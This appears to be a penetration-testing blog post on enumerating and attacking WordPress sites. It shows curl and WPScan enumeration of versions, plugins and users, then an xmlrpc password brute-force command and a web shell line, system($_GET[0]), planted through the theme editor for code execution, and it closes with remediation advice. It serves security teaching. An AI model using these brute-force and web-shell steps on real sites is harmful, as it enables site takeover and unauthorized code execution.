Post

Attacking WordPress

Ways of enumerating and attacking WordPress Content Management System (CMS)

Attacking WordPress

Overview

WordPress is the world’s most widely used open-source Content Management System (CMS), powering almost a third of all websites globally. It serves a wide range of purposes, from hosting blogs and forums to supporting e-commerce, project management, document management, and more. Known for its high customizability and SEO-friendly structure, WordPress is a popular choice among businesses. Its extensive library of themes and plugins, both free and premium, allows users to easily enhance and expand website functionality.

Built in PHP, WordPress typically operates on an Apache server with MySQL as its database backend.

File Structure

After installation, WordPress files and directories are typically stored in /var/www/html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Riminux@box[/var/www/html]$ ls
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php

The wp-config.php file is often of interest to attackers as it contains database credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
<SNIP>
/** The name of the database for WordPress */
define( 'DB_NAME', 'webapp' );

/** MySQL database username */
define( 'DB_USER', 'bob' );

/** MySQL database password */
define( 'DB_PASSWORD', 'SuP#rP4$$word!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
<SNIP>

Enumeration

Version Enumeration

Wordpress version in source code:

1
2
3
4
5
6
<SNIP>
<link rel='https://api.w.org/' href='http://127.0.0.1/index.php/wp-json/' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://127.0.0.1/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://127.0.0.1/wp-includes/wlwmanifest.xml" /> 
<meta name="generator" content="WordPress 5.3.3" />
<SNIP>

Using curl to get the version:

curl -s -X GET http://127.0.0.1 | grep '<meta name="generator"'

curl -s http://127.0.0.1 | grep WordPress

Also links to CSS and JS files can provide version number:

1
2
3
4
5
6
<SNIP>
<link rel='stylesheet' id='bootstrap-css'  href='http://127.0.0.1/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex-style-css'  href='http://127.0.0.1/wp-content/themes/ben_theme/style.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex_color-css'  href='http://127.0.0.1/wp-content/themes/ben_theme/css/colors/default.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='smartmenus-css'  href='http://127.0.0.1/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=5.3.3' type='text/css' media='all' />
<SNIP>
1
2
3
4
5
6
7
<SNIP>
<script type='text/javascript' src='http://127.0.0.1/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp'></script>
<script type='text/javascript' src='http://127.0.0.1/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>
<script type='text/javascript' src='http://127.0.0.1/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3'></script>
<script type='text/javascript' src='http://127.0.0.1/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.3.3'></script>
<script type='text/javascript' src='http://127.0.0.1/wp-content/plugins/mail-masta/lib/jquery.validationEngine.js?ver=5.3.3'></script>
<SNIP>

Plugins and Themes Enumeration

Using curl to find plugins:

curl -s -X GET http://127.0.0.1 | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

1
2
3
4
5
6
http://127.0.0.1/wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=6.1
http://127.0.0.1/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3
http://127.0.0.1/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.3.3
http://127.0.0.1/wp-content/plugins/mail-masta/lib/jquery.validationEngine.js?ver=5.3.3
http://127.0.0.1/wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=6.1
http://127.0.0.1/wp-content/plugins/mail-masta/lib/css/mm_frontend.css?ver=5.3.3

Using curl to find themes:

curl -s -X GET http://127.0.0.1 | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://127.0.0.1/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/style.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/css/colors/default.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/css/owl.carousel.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/css/owl.transitions.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/css/font-awesome.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/css/animate.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/css/magnific-popup.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/css/bootstrap-progressbar.min.css?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/js/navigation.js?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/js/bootstrap.min.js?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/js/jquery.smartmenus.js?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/js/jquery.smartmenus.bootstrap.js?ver=5.3.3
http://127.0.0.1/wp-content/themes/ben_theme/js/owl.carousel.min.js?ver=5.3.3
background: url("http://127.0.0.1/wp-content/themes/ben_theme/images/breadcrumb-back.jpg") #50b9ce;

User Enumeration

Using author parameter to enumerate users:

curl -s -I http://127.0.0.1/?author=1

1
2
3
4
5
6
7
HTTP/1.1 301 Moved Permanently
Date: Wed, 13 May 2020 20:47:08 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Redirect-By: WordPress
Location: http://127.0.0.1/index.php/author/admin/
Content-Length: 0
Content-Type: text/html; charset=UTF-8

This 301 response means user exists.

Another method would be interacting with the JSON endpoint:

curl http://127.0.0.1/wp-json/wp/v2/users | jq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<SNIP>
  {
    "id": 1,
    "name": "admin",
    "url": "",
    "description": "",
    "link": "http://127.0.0.1/index.php/author/admin/",
  },
  {
    "id": 2,
    "name": "john",
    "url": "",
    "description": "",
    "link": "http://127.0.0.1/index.php/author/john/",
  },
<SNIP>

Automated enumeration

Many of the enumeration tasks mentioned can be automated using a powerful tool called WPScan:

1
2
3
4
5
6
7
8
9
wpscan --url http://<TARGET_IP>/wordpress -e at,u,ap
wpscan --url http://<TARGET_IP> -e vt,u,vp

-e Enumerate
vt Vulnerable themes
u  Users
vp Vulnerable plugins
at All themes
ap All plugins

Example usage:
Desktop View Using WPScan tool for enumeration

Exploitation

Login attacks

For login attacks I recommend using WPScan. The tool can perform two types of brute-force login attacks: xmlrpc and wp-login. The wp-login method will attempt to brute force the standard WordPress login page, while the xmlrpc method uses WordPress API to make login attempts through /xmlrpc.php. The xmlrpc method is preferred as it’s faster.

wpscan --password-attack xmlrpc -t 20 -U admin -P /usr/share/wordlists/rockyou.txt --url http://127.0.0.1
Example usage:
Desktop View Using WPScan tool for login brute force

Code Execution

After getting access to admin dashboard the attacker can navigate to Appearance->Theme Editor to edit PHP source code directly of any .php file by inserting system($_GET[0]); Desktop View

After saving the edited contents, the attacker can execute code:

curl http://127.0.0.1/wp-content/themes/twentynineteen/404.php?0=id

Example attack:

Statistical Data and Remediation

Statistics

Based on WPScan statistics there is still a significant amount of vulnerabilities found every month. Most of them come from plugins. Desktop View Growing number of vulnerabilities each year Desktop View Most common vulnerable components

Remediation

An effective way to prevent attacks is to keep all components updated, including plugins, themes, and the WordPress core.

There are WordPress plugins for security such as:
iThemes Security
Sucuri Security
WordFence Security

Other good practices are:

  • Disable the standard admin user and create accounts with difficult to guess usernames
  • Enforce strong passwords
  • Enable and enforce two-factor authentication (2FA) for all users
  • Restrict users’ access based on the concept of least privilege
  • Periodically audit user rights and access. Remove any unused accounts or revoke access that is no longer needed
  • Install a plugin that disallows user enumeration so an attacker cannot gather valid usernames to be used in a password spraying attack
  • Limit login attempts to prevent password brute-forcing attacks
This post is licensed under CC BY 4.0 by the author.

Trending Tags